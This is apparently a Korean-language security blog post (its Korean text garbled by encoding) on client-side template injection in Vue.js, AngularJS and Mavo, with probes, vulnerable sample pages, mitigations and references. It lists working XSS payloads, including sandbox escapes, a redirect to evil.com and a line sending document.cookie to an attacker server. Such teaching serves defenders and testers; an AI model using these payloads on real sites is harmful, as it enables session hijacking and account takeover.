ν°μ€ν 리 λ·°
CSTI λ?
Client Side Template InjectionμΌλ‘ ν΄λΌμ΄μΈνΈ μΈ‘μμ μ¬μ©λλ ν νλ¦Ώμ μμ ꡬ문μ μ£Όμ νλ€λ μλ―Έλ₯Ό κ°μ§λλ€. λΈλΌμ°μ μμμ μ λ ₯λ ν νλ¦Ώ ννμμ νλ‘ νΈ μΈ‘μμ μ΄ν΄νκ³ μνλ κ²°κ³Όλ₯Ό 보μ¬μ€λ€λ κ²μ 곡격μ κ΄μ μμ ν νλ¦Ώ ννμ + μλ°μ€ν¬λ¦½νΈ ꡬ문 μ‘°ν©μ ν΅ν΄ XSSλ₯Ό μλν κ°μΉκ° μλ μ·¨μ½μ μ λλ€.
μΌλ°μ μΌλ‘ XSS μ·¨μ½μ μ μν₯λμ μ μ¬νμ§λ§ μ¨μ ν μλ°μ€ν¬λ¦½νΈ ꡬ문μΌλ‘ μ€νμν€λλ ν νλ¦Ώ ννμμ λ΄μμ μ€ννλλμ μ°¨μ΄κ° μ‘΄μ¬ν©λλ€.
곡격μλ μλλ°μ€μμ νμ©λλ ν¨μ($eval μ 곡)μ κ°μ²΄(toString(), charAt(), trim(), prototype, and constructor)μ ννμ "{{}}" λλ "[]"λ₯Ό ν΅ν΄ μλλ°μ€λ₯Ό λ²μ΄λκ² λμ΄ μ€ν¬λ¦½νΈκ° μ€νλκ² μ λνκ² λ©λλ€.
- constructor and prototype : μ΄ ν¨μλ μ½λλ₯Ό λμ μΌλ‘ μμ±νκ³ μ€ννλ λ° μ¬μ©
- trim() : λ¬Έμμ΄ μ’/μ°μμ 곡백μ μ κ±°
- charAt() : λ¬Έμμ΄μμ μ§μ λ μμΉμ μ‘΄μ¬νλ λ¬Έμλ₯Ό μ°Ύμμ λ°ν
- toString() : μ«μλ₯Ό λ¬Έμμ΄λ‘ λ³ν
Surface Recon
νλ©΄ μ μ°°νλ λ°©λ²μ ν νλ¦Ώ ννμμ μ¬μ©νλ SSTI(Sever side tempate injection) μ·¨μ½μ κ³Ό μ μ¬ν©λλ€. μ΄ λμ μ°¨μ΄μ μ μ·¨μ½μ μ μ©μ ν΅ν΄ μ΄λ£¨μ΄μ§λ ν¨κ³Όκ° λ€λ₯΄λ€κ³ λ³Ό μ μμ΅λλ€. μλ² μΈ‘ μ£Όμ μ΄λ©΄ μ격μ½λλ₯Ό μ€νμν€λ κ²μ΄ λͺ©μ μ΄ λκ² μ§μ.
λμ μΉ μ¬μ΄νΈκ° ν νλ¦Ώ μμ§μ΄ ν¬ν¨λ μλ°μ€ν¬λ¦½νΈ νλ μμν¬λ₯Ό μ¬μ©ν κ²½μ° HTML νκ·Έμ ννμ ꡬ문μ μ¬μ©ν μ μμ΅λλ€. μλ²κ° HTTP μλ΅μ λ°ννκΈ° μ μ μλ² μΈ‘μμ ν΄μλμ΄ μ¬μ©μλ€μκ² λ³΄μ΄κ² λ©λλ€. ν νλ¦Ώ μ¬μ© μ 무λ₯Ό κ°λ¨ν ν μ€νΈν΄λ³΄κΈ° μν΄μ μ°μ°μλ₯Ό μ¬μ©νμ¬ κ³μ°λ κ²°κ³Ό κ°(81)μ΄ νλ©΄μ λνλλμ§ μ²΄ν¬νλ©΄ λ©λλ€.
- {{9*9}}
- ${9*9}
- ${{9*9}}
- <%= 9*9 %>
- #{9*9}
Input
# www.example.com/csti/?name={{9*9}}
Output
# Ctrl + F and Find 81
Vue.js Template
2014λ 릴리μ¦λ₯Ό μμμΌλ‘ κΎΈμ€ν λ°μ μ€μΈ μλ°μ€ν¬λ¦½νΈ νλ μμν¬μ λλ€. HTML μ½λλ₯Ό κΈ°λ°μΌλ‘ ν νλ¦Ώμ λ§λ€μ΄λΌ μ μμ΅λλ€. μ λ ₯λ ννμμ HTML μ½λμ λ°μΈλ©νκΈ° μν΄ "{}" μ΄μ€ μ€κ΄νΈλ₯Ό μ¬μ©ν μ μλλ°, 보κ°λ²μ΄λΌκ³ 보μλ©΄ λ©λλ€.
<div id="app">
<h1>Hello ?name=${escapeHTML(name)}</h1>
</div>
...
<script>
new Vue({
el: '#app'
});
</script>
μ·¨μ½ν νμ΄μ§ μμ€(vuejs 2.5.13)λ₯Ό νμΈν΄ λ³΄κ² μ΅λλ€.
Vue μΈμ€ν΄μ€λ new ν€μλλ₯Ό ν΅ν΄ μμ κ°μ΄ μμ±ν μ μμ΅λλ€. el μμ±μ μ΄λ ν idλ₯Ό κ°μ§ html νκ·Έμ ν¬ν¨μν¬μ§ νκΈ°νλ κ²μΌλ‘ μΈμ€ν΄μ€ λ΄μ λ°μ΄ν°λ₯Ό html μ½λμ λ°μΈλ©νκΈ° μν΄μ μ΄μ€ μ€κ΄νΈ {{ }} λ¬Έλ²μ νμ©ν΄μΌ λ©λλ€.
#appμ΄ μ¬μ©λμμΌλ―λ‘ μ¬μ©μνν 보μ¬μ£Όλ νκ·Έλ μ μΈλμ΄ μλ κ°μ²΄μΈ "<div id="app"></div>" μ ν¬ν¨λ©λλ€. κ²°κ³Όμ μΌλ‘ Vue μΈμ€ν΄μ€ λ΄λΆμ λ°μ΄ν°κ° λ°λ λλ§λ€ κ·Έμ λ§λ νλ©΄μ μ¬μ©μλ€μκ² λ³΄μ΄κ² λ©λλ€.
μΆκ°μ μΌλ‘ Vuejs λ² μ΄μ€μ Template Injectionμ μ°Ύκ³ μ ν κ²½μ° λλ ν°λΈ μ€ νλμΈ "v-html" λΆλΆμ 체ν¬ν΄λ³΄λ κ²λ μ’μ΅λλ€.
- v-html : innerHTML μμ±μ μ°κ²°λ¨, μ£Όμ λ νκ·Έλ₯Ό νμ± νμ¬ νλ©΄μ 보μ¬μ£Όλ―λ‘ XSS λ°μ κ°λ₯
* v-text: μ£Όμ λ HTML νκ·Έλ₯Ό μΈμ½λ© μμΌ λ³΄μ¬μ£Όλ―λ‘ μμ ν¨
XSSλ₯Ό μ λ°νκΈ°μν΄ μ€ν¬λ¦½νΈ ꡬ문μ μ½μ ν΄λ³΄λ©΄ μ€νλμ§ μμ΅λλ€. name λ³μμ ${escapeHTML}μ μν₯μΌλ‘ μ λ ₯λ νΉμλ¬Έμλ€μ΄ μ΄μ€μΌμ΄ν μ²λ¦¬λκΈ° λλ¬Έμ λλ€.
ν νλ¦Ώ ννμμ μ¬μ©ν μ μλ νκ²½μΈμ§ νμ νκΈ° μν΄ {} μ€κ΄νΈλ₯Ό νμ©νμ¬ κ°λ¨ν μ°μ° ꡬ문μ μ£Όμ ν΄λ³Έ κ²°κ³Ό 81μ΄λΌλ κ²°κ³Ό κ°μ΄ λνλ κ²μ νμΈν μ μμ΅λλ€. μ΄λ₯Ό ν΅ν΄ 곡격μλ ν νλ¦Ώ μ£Όμ μ μ·¨μ½ν μ μλ€λ κ²μ μκ² λ©λλ€.
ν νλ¦Ώ λ¬Έλ²μ νμ©ν΄μ μ€ν¬λ¦½νΈλ₯Ό μ€νμν€κ² λ©λλ€. μ΄λ μ¬μ©λ ν¨μλ constructor μ¦ μμ±μ ν¨μλ‘ alertν¨μλ₯Ό μ€νμν¬ μ μλλ‘ λμμ€λλ€.
<div v-pre>
<h1>Hello ?name=${escapeHTML(name)}</h1>
</div>
λ§μ½ μμμ λ°μλ Template Injectionμ μλ°©νκΈ° μν΄μλ "v-pre" λλ ν°λΈλ₯Ό νμ©ν΄μ μ£Όμ λ 보κ°λ²μ μ²λ¦¬νμ§ λͺ»νκ³ κ·Έλλ‘ μΆλ ₯νλλ‘ ν μ μμ΅λλ€.
# Vuejs v2 Template Payload
{{constructor.constructor('alert(1)')()}}
# Vuejs v3 Template Payload
{{_openBlock.constructor('alert(1)')()}}
# More Payload
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Angular.js Template
ꡬκΈμ΄ 2009λ λμ λ°νν μλ°μ€ν¬λ¦½νΈ νλ μμν¬μ λλ€. AngularJS ννμμ μΆλ ₯μ νμ΄μ§μ μ§μ κΈ°λ‘λ©λλ€. 곡격μκ° ννμμ μ μ΄ν μ μλ νκ²½μΈ κ²½μ° μ μμ μΈ JavaScript μ½λλ₯Ό ν νλ¦Ώ ννμκ³Ό μ‘°ν©νμ¬ μ€νμν¬ μ μμ΅λλ€. κΈ°λ³Έμ μΌλ‘ ν νλ¦Ώμ μ λ ₯λ HTML νκ·Έλ€μ λν΄ μλμΌλ‘ μ΄μ€μΌμ΄ν μ²λ¦¬λ₯Ό νκ³ μλ λ§νΌ μμ‘΄νλ κ²½μ°κ° μ’ μ’ μ‘΄μ¬νμ§λ§ μ΄λ μ λμ μΌλ‘ μμ ν λ°©λ²μ΄ μλλλ€.
AngularJS 1.6 νμ λ²μ λ€μ ννμμ DOM λ ΈμΆμ μ ννκ³ λΆλ¦¬λλ μλλ°μ€ νμμΌλ‘ ꡬλΆλμ΄ μμμ΅λλ€. μ¬κΈ°μ 곡격μλ€μ μ€ν¬λ¦½νΈλ₯Ό μ λ°νκΈ° μν΄ λ΄λΆ μλλ°μ€λ₯Ό λ²μ΄λκ² λ μ λ ν XSSλ₯Ό μ€νμν¬ μ μμ΅λλ€.
*AngularJSλ 2021-12-31μΌ μ§μ μ’ λ£
- Sandbox 1.1.5 ~ 1.5.*
- Remove Sandbox 1.6+
<html lang="en" ng-app>
<head>
<script src="style/angular.min.js"></script>
</head>
<body>
<form role="search" action="" method="GET">
<div class="input-group">
<input type="text" class="form-control" name="search" placeholder="Search">
...
<?php
if (isset($_GET['search']) && !empty($_GET['search'])) {
$search = htmlspecialchars($_GET['search']);
echo "<h3>" . $search . " Not found</h3>";
}
?>
Angularjs λ²μ μ 1.4.8λ‘ HTML νμ΄μ§ μμ€μμ "ng-app" ν¨μκ° ν¬ν¨λΌ μμμ νμΈν©λλ€. μ΄κ²μ ν΄λΉ λΌμΈλΆν° Angularjsλ₯Ό μ¬μ©νκ² λ€κ³ μ μΈνλ κ²μ μλ―ΈνκΈ° λλ¬Έμ μ λ ₯λ ννμμ ν΄μνκ³ μ¬μ©μλ€μκ² λ³΄μ΄κ² λ©λλ€.
μΌλ°μ μΌλ‘ XSS μ·¨μ½μ μ λ°κ²¬νκΈ° μν΄μ μ λ ₯λ°λ 맀κ°λ³μμ ", ', <, > λ± μ μ½μ ν΄μ valueμμ λ²μ΄λ μ μλμ§ μ¬λΆλ₯Ό λ¨Όμ νμΈνμ§λ§ search λ³μμ htmlspecialchars κ° μ μ©λμ΄ μμ΄ νΉμλ¬Έμλ₯Ό λ¬Έμ κ·Έλλ‘ μΈμνκ³ μμ΅λλ€.
ννμμ ν΅ν΄ μΈμ μ μ΄ κ°λ₯νμ§ μ¬λΆλ₯Ό μ¬μ μ νμΈν΄μΌ λ©λλ€.{{2*2}} λ₯Ό μ λ ₯ν΄λ³΄λ©΄ κ²°κ³Ό "4"λ₯Ό μ»μ μ μμ΅λλ€.
# Input
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(`AngularJS!!`)');}}
# More Payload
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md
AngularJSλ "νλ μμν¬" μ΄κΈ°μ λμΌν λ²μ μ΄λλΌλ κ°κ°μ μ λ ₯ κ°μ μ²λ¦¬νλ λ°©λ²μ μ‘°κΈμ© λ€λ₯Ό μ μμ΅λλ€. νμ§λ§ μ§μ¬μ§ μ½λμ λ¬Έμ λ‘ μΈν΄ μ¬μ©μκ° μ λ ₯ν ννμμ μλ²μμ λμ μΌλ‘ μ΄ν΄νκ³ μ€ννκ² λλ νκ²½μΌ κ²½μ° μμ κ°μ νμ μ°½μ λ§μ£Όνκ² λ©λλ€.
No quote | double quote
# {{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
# {{(toString()).constructor.prototype.charAt=(toString()).constructor.prototype.concat;$eval((toString()).constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41))}}
# {{constructor.constructor(valueOf.name.constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41))()}}
μ΄λ μ λ μ¬μ©μμ μ λ ₯ κ°μ 무쑰건 μ μΌλ‘ μ λ’°νμ§ μλ μ¬μ΄νΈμ κ²½μ° κΈ°λ³Έμ μΌλ‘ μ±κΈ μΏΌν° λλ λλΈ μΏΌν°λ₯Ό μ¬μ©νμ§ λͺ»νκ²λ μ΄μ€μΌμ΄ν μ²λ¦¬νκ² λ©λλ€. κ·Έλ΄ λλ fromCharCodeλ₯Ό νμ©ν΄μ μ£Όμ μ΄ κ°λ₯ν©λλ€.
* String.formCharCode λ Angularμ λ²μ λ΄μμ μ‘μΈμ€ ν μ μλ μμ±κ³Ό λ³μλ§ μ¬μ©νλλ‘ μ ννκΈ° λλ¬Έμ μλνμ§ μμ
Force Redirection
# {{'a'.constructor.prototype.charAt=[].join;$eval('x=location.replace("https://evil.com")');}}
# {{constructor.constructor('location.replace("https://evil.com")')()}}
μ·¨μ½μ μ μ 보νκ±°λ κ³ κ°μ¬μκ² μ λ¬ν΄μ€ λλ λ¨μν νμ μ°½μ λμμ κ²μ¦νλ κ²λ³΄λ€. κ°λ¨ν μν₯λλ₯Ό νμΈμμΌμ£Όλ κ²λ μ’μ΅λλ€. μ μμ μΈ ν νλ¦Ώ ννμ κ΅¬λ¬Έμ΄ ν¬ν¨λ URLμ ν΄λ¦ν μ¬μ©μλ 곡격μκ° μ§μ ν΄λ μμ μ£Όμλ‘ λ¦¬λ€μ΄λ νΈλ₯Ό λ°μμν¬ μ μμ΅λλ€.
Session Hijacking
# {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };document.location="http://172.20.10.2:8888/steal.php?test="+document.cookie//');}}
# {{constructor.constructor('new Image().src="http://172.20.10.2:8888/steal.php?test="+document.cookie;')()}}
CSTI μ·¨μ½μ μ νμ©ν Account takeoverμ λλ Session hijackingμ νκΈ° μν΄μλ ν΄λΉ ꡬ문μ ν΅ν΄ νμ·¨ν μ μμ΅λλ€.
Mavo Template
Mavoλ μ¬μ©μκ° μμ HTMLμ μ¬μ©νμ¬ λνν μΉ μμ© νλ‘κ·Έλ¨μ λ§λ€ μ μλλ‘ νμ¬ μΉ κ°λ°μ λ¨μννλ κ²μ λͺ©νλ‘ νλ μλ°μ€ν¬λ¦½νΈ νλ μμν¬μ λλ€.
κΈ°λ³Έμ μΌλ‘ Mavoμμλ HTML λ¬Έμμ λκ΄νΈ μμ MavoScriptλ₯Ό ν¬ν¨ν μ μμ΅λλ€. μ¬μ©λλ ννμμ μλμ κ°μ΅λλ€.
- [9*9]
- https://mavo.io/docs/mavoscript(Mavo ꡬ문)
HTML νμ΄μ§ λ΄λΆμ Mavo Template μ¬μ©μ νμΈ ν μ μ ν ννμμ μ½μ νμ¬ ν νλ¦Ώ μ 무λ₯Ό 체ν¬ν©λλ€.
[self.alert(`Mavo!!`)]
[''=''or self.alert(lol)]
[/**/x='javascript'][/**/x+=':alert'+y.rel+y.title]<a href=[x] id=y title=1) rel=(>test</a>
[self.alert(1)mod1]
[omglol mod 1 mod self.alert(1)andlol] => Mavoλ μ°μ°μ ν€μλ λ°λ‘ λ€μ μΈμ©λμ§ μμ λ¬Έμμ΄μ νμ©
ννμμ ν΅ν μλ°μ€ν¬λ¦½νΈ ꡬ문μ μ€νμν¬ μ μμ΅λλ€. μ΄ λ°μλ Mavoλ νΉμ μ HTML μμ±μ νμ©ν΄μ XSSλ₯Ό λ°μμν¬ μ μμ΅λλ€.
- <a href=javascript[x.rel]1) id=x rel=:alert(>test</a> => Filter Bypass
- <a href=[javascript&':alert(1)']>test</a>
- <div mv-if=”false”>Hide me</div> => mv-value λ° mv-if μ¬μ© μ "[]" λκ΄νΈ μμ΄ μ£Όμ κ°λ₯
- <a data-mv-if='1 or self.alert(1)'>test</a>
- <div mv-expressions="{{ }}">{{top.alert(1)}}</div> => mv-expressions μ¬μ© μ
- <div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
Mavo ν νλ¦Ώμ λν μ·¨μ½μ κ°μλ μλμ λ§ν¬λ₯Ό ν΅ν΄ λ³΄λ€ λ§μ μ 보λ₯Ό μ»μΌμ€ μ μμ΅λλ€.
https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Custom Payload
Bug bountyμ νμμ΄ν λλ μ§λ¨νκ³ μ νλ λμμ μκ° λ§μ κ²½μ° μ¬μ©μμ μ λ ₯ κ° ν μ€νΈλ₯Ό νλμ© λ£μ΄μ νμΈνκΈ°μλ μκ°μ ν¨μ¨μ μΌλ‘ μ¬μ©ν μ μλ λ¬Έμ κ° λ°μν©λλ€. κ·Έλ΄ λλ λ¬Έλ² κ΅¬λ¬Έμ΄ μλ¬ λμ§ μλ μ μμ μ μ ν μ½λλ₯Ό μμ΄μ€ ν μλνν΄μ£Όμλ©΄ λ³΄λ€ λΉ λ₯΄κ² νλ©΄ μ μ°°ν μ μκ² λ©λλ€.
μ νν μλ°μ€ν¬λ¦½νΈ νλ μμν¬λ₯Ό κ°μ Έμ μ¬μ©μμ νΈμμ±λ§μ κ³ λ €νλ€ λ³΄λ©΄ μ’ μ’ μ΄μκ° λ°μνκ³€ ν©λλ€. μ΄λ¬ν λ¬Έμ λ€μ μλ°©νκΈ° μν΄μλ μ λ ₯λ κ°μ΄ ν νλ¦Ώμ λμ μΌλ‘ ν¬ν¨λμ§ μκ² λ νμν μμμλ§ μ μΈν΄μ μ¬μ©ν΄μΌ λ©λλ€. μλ₯Ό λ€μ΄ AngularJSλ HTML λ΄μ "ng-app" μ§μλ¬Έμ ν΅ν΄ λ²μλ₯Ό μ νν μ μμ΅λλ€.
κ·Έλ μ§ λͺ»ν νκ²½μΌ κ²½μ° μΌλ°μ μΈ XSSλ₯Ό μλ°©νλ κ²κ³Ό μ μ¬νκ² ννμ({μ€κ΄νΈ}, [λκ΄νΈ]) κ³Ό μ μμ μΌλ‘ μ¬μ© κ°λ₯ν ν€μλλ€μ μ μ ν νν°λ§ ν΄μ£Όκ³ μλ‘μ΄ Release λ²μ μ λν΄ κΈμ μ μΌλ‘ μμ©νλ μμΈλ₯Ό κ°μ§λ κ²μ΄ μ’μ΅λλ€.
#References
https://techblog.securesky-tech.com/entry/2018/08/01/110000
https://github.com/azu/vue-client-side-template-injection-example
https://www.hahwul.com/cullinan/csti/
https://book.hacktricks.xyz/pentesting-web/client-side-template-injection-csti
https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
'WEB' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
OAuth λ° OpenIDμ μλͺ»λ 보μ κ΅¬μ± (1) | 2022.04.07 |
---|---|
κΈ°μ λλ©μΈμ DMARC λ μ½λ λΆμ (0) | 2022.02.18 |
Log4j μ·¨μ½μ (CVE-2021-44228) (0) | 2021.12.23 |
Atlassian RCE μ·¨μ½μ (0) | 2021.09.12 |
Atlassian REST API μ·¨μ½μ (0) | 2021.09.11 |